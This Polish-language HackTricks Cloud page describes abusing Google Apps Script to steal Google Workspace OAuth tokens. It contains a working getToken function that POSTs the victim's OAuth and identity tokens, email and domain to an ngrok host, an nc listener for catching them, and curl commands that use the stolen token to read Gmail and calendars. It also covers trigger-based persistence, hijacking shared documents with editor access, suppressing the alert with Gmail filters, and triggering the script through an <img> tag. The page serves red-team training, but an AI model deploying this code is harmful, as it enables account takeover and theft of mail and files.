GWS - App Scripts
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
App Scripts
App Scripts to kod, który zostanie uruchomiony, gdy użytkownik z uprawnieniami edytora uzyska dostęp do dokumentu, z którym powiązany jest App Script i po zaakceptowaniu monitu OAuth.
Mogą być również ustawione na wykonywanie co pewien czas przez właściciela App Script (Persistence).
Utwórz App Script
Istnieje kilka sposobów na utworzenie App Script, chociaż najczęstsze to z dokumentu Google (dowolnego typu) oraz jako projekt samodzielny:
Utwórz projekt powiązany z kontenerem z Google Docs, Sheets lub Slides
- Otwórz dokument Docs, arkusz kalkulacyjny Sheets lub prezentację Slides.
- Kliknij Rozszerzenia > Google Apps Script.
- W edytorze skryptów kliknij Bez tytułu projektu.
- Nadaj swojemu projektowi nazwę i kliknij Zmień nazwę.
Utwórz projekt samodzielny
Aby utworzyć projekt samodzielny z Apps Script:
- Przejdź do
script.google.com. - Kliknij dodaj Nowy projekt.
- W edytorze skryptów kliknij Bez tytułu projektu.
- Nadaj swojemu projektowi nazwę i kliknij Zmień nazwę.
Utwórz projekt samodzielny z Google Drive
- Otwórz Google Drive.
- Kliknij Nowy > Więcej > Google Apps Script.
Utwórz projekt powiązany z kontenerem z Google Forms
- Otwórz formularz w Google Forms.
- Kliknij Więcej more_vert > Edytor skryptów.
- W edytorze skryptów kliknij Bez tytułu projektu.
- Nadaj swojemu projektowi nazwę i kliknij Zmień nazwę.
Utwórz projekt samodzielny za pomocą narzędzia wiersza poleceń clasp
clasp to narzędzie wiersza poleceń, które pozwala tworzyć, pobierać/wysyłać i wdrażać projekty Apps Script z terminala.
Zobacz Przewodnik po interfejsie wiersza poleceń z użyciem clasp po więcej szczegółów.
Scenariusz App Script
Utwórz arkusz Google z App Script
Zacznij od utworzenia App Script, moją rekomendacją w tym scenariuszu jest utworzenie arkusza Google i przejście do Rozszerzenia > App Scripts, to otworzy nowy App Script powiązany z arkuszem.
Token wycieku
Aby dać dostęp do tokena OAuth, musisz kliknąć Usługi + i dodać zakresy takie jak:
- AdminDirectory: Dostęp do użytkowników i grup w katalogu (jeśli użytkownik ma wystarczające uprawnienia)
- Gmail: Aby uzyskać dostęp do danych gmail
- Drive: Aby uzyskać dostęp do danych drive
- Google Sheets API: Aby działało z wyzwalaczem
Aby samodzielnie zmienić potrzebne zakresy, możesz przejść do ustawień projektu i włączyć: Pokaż plik manifestu "appsscript.json" w edytorze.
function getToken() {
var userEmail = Session.getActiveUser().getEmail()
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1)
var oauthToken = ScriptApp.getOAuthToken()
var identityToken = ScriptApp.getIdentityToken()
// Data json
data = {
oauthToken: oauthToken,
identityToken: identityToken,
email: userEmail,
domain: domain,
}
// Send data
makePostRequest(data)
// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions
// To ask for AdminDirectory permissions
var pageToken = ""
page = AdminDirectory.Users.list({
domain: domain, // Use the extracted domain
orderBy: "givenName",
maxResults: 100,
pageToken: pageToken,
})
// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10)
// To ask for drive permissions
var files = DriveApp.getFiles()
}
function makePostRequest(data) {
var url = "http://5.tcp.eu.ngrok.io:12027"
var options = {
method: "post",
contentType: "application/json",
payload: JSON.stringify(data),
}
try {
UrlFetchApp.fetch(url, options)
} catch (e) {
Logger.log("Error making POST request: " + e.toString())
}
}
Aby przechwycić żądanie, wystarczy uruchomić:
ngrok tcp 4444
nc -lv 4444 #macOS
Uprawnienia wymagane do wykonania skryptu aplikacji:
.png)
Warning
Ponieważ dokonano zewnętrznego żądania, okno OAuth również poprosi o pozwolenie na dostęp do zewnętrznych punktów końcowych.
Utwórz wyzwalacz
Po odczytaniu aplikacji kliknij ⏰ Wyzwalacze, aby utworzyć wyzwalacz. Jako funkcję do uruchomienia wybierz getToken, uruchamia się przy wdrożeniu Head, w źródle zdarzenia wybierz Z arkusza kalkulacyjnego a typ zdarzenia wybierz Przy otwarciu lub Przy edytowaniu (zgodnie z Twoimi potrzebami) i zapisz.
Zauważ, że możesz sprawdzić wykonania skryptów aplikacji w zakładce Wykonania, jeśli chcesz coś zdebugować.
Udostępnianie
Aby wyzwolić skrypt aplikacji, ofiara musi połączyć się z dostępem edytora.
Tip
Token używany do wykonania skryptu aplikacji będzie tokenem twórcy wyzwalacza, nawet jeśli plik jest otwarty jako edytor przez innych użytkowników.
Wykorzystywanie dokumentów udostępnionych mi
Caution
Jeśli ktoś udostępnił Ci dokument ze skryptami aplikacji i wyzwalaczem używającym Head skryptu aplikacji (nie stałego wdrożenia), możesz zmodyfikować kod skryptu aplikacji (dodając na przykład funkcje kradnące token), uzyskać do niego dostęp, a skrypt aplikacji zostanie wykonany z uprawnieniami użytkownika, który udostępnił Ci dokument! (zauważ, że token OAuth właściciela będzie miał zakresy dostępu nadane podczas tworzenia wyzwalacza).
Powiadomienie zostanie wysłane do twórcy skryptu informujące, że ktoś zmodyfikował skrypt (co powiesz na wykorzystanie uprawnień gmaila do wygenerowania filtru, aby zapobiec powiadomieniu?)
Tip
Jeśli atakujący zmodyfikuje zakresy skryptu aplikacji, aktualizacje nie zostaną zastosowane do dokumentu, dopóki nie zostanie utworzony nowy wyzwalacz z wprowadzonymi zmianami. Dlatego atakujący nie będzie w stanie ukraść tokena właściciela twórcy z większymi zakresami niż te, które ustawił w wyzwalaczu, który utworzył.
Kopiowanie zamiast udostępniania
Gdy tworzysz link do udostępnienia dokumentu, tworzony jest link podobny do tego: https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit
Jeśli zmienisz końcówkę “/edit” na “/copy”, zamiast uzyskać do niego dostęp, Google zapyta, czy chcesz wygenerować kopię dokumentu:
.png)
Jeśli użytkownik skopiuje go i uzyska do niego dostęp, zarówno zawartość dokumentu, jak i skrypty aplikacji zostaną skopiowane, jednak wyzwalacze nie, dlatego nic nie zostanie wykonane.
Udostępnianie jako aplikacja internetowa
Zauważ, że możliwe jest również udostępnienie skryptu aplikacji jako aplikacji internetowej (w edytorze skryptu aplikacji, wdrożenie jako aplikacja internetowa), ale pojawi się alert taki jak ten:
.png)
Następnie pojawi się typowe okno OAuth proszące o potrzebne uprawnienia.
Testowanie
Możesz przetestować zebrany token, aby wylistować e-maile za pomocą:
curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"
Lista kalendarza użytkownika:
curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"
App Script jako Utrzymanie
Jedną z opcji na utrzymanie byłoby utworzenie dokumentu i dodanie wyzwalacza dla funkcji getToken oraz udostępnienie dokumentu atakującemu, aby za każdym razem, gdy atakujący otworzy plik, wyekstrahował token ofiary.
Możliwe jest również stworzenie App Script i ustawienie go tak, aby wyzwalał się co X czasu (na przykład co minutę, godzinę, dzień…). Atakujący, który skompromentował dane uwierzytelniające lub sesję ofiary, mógłby ustawić wyzwalacz czasowy App Script i codziennie wyciekać bardzo uprzywilejowany token OAuth:
Po prostu utwórz App Script, przejdź do Wyzwalaczy, kliknij Dodaj Wyzwalacz i wybierz jako źródło zdarzenia Czasowe oraz wybierz opcje, które najlepiej Ci odpowiadają:
.png)
Caution
To spowoduje utworzenie powiadomienia o bezpieczeństwie w formie e-maila oraz wiadomości push na Twoim telefonie.
Ominięcie Niezatwierdzonego Podpowiedzi Dokumentu Współdzielonego
Ponadto, jeśli ktoś udostępnił Ci dokument z dostępem edytora, możesz generować App Scripts wewnątrz dokumentu, a WŁAŚCICIEL (twórca) dokumentu będzie właścicielem App Script.
Warning
Oznacza to, że twórca dokumentu będzie się pojawiał jako twórca każdego App Script, który ktokolwiek z dostępem edytora utworzy wewnątrz niego.
Oznacza to również, że App Script będzie zaufany przez środowisko Workspace twórcy dokumentu.
Caution
Oznacza to również, że jeśli App Script już istniał i ludzie przyznali dostęp, każdy z uprawnieniami Edytora w dokumencie może zmodyfikować go i nadużywać tego dostępu.
Aby nadużywać tego, potrzebujesz również, aby ludzie wyzwalali App Script. A jednym z fajnych trików jest opublikowanie skryptu jako aplikacji internetowej. Gdy ludzie, którzy już przyznali dostęp do App Script, wejdą na stronę internetową, wyzwolą App Script (to również działa przy użyciu tagów<img>).
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

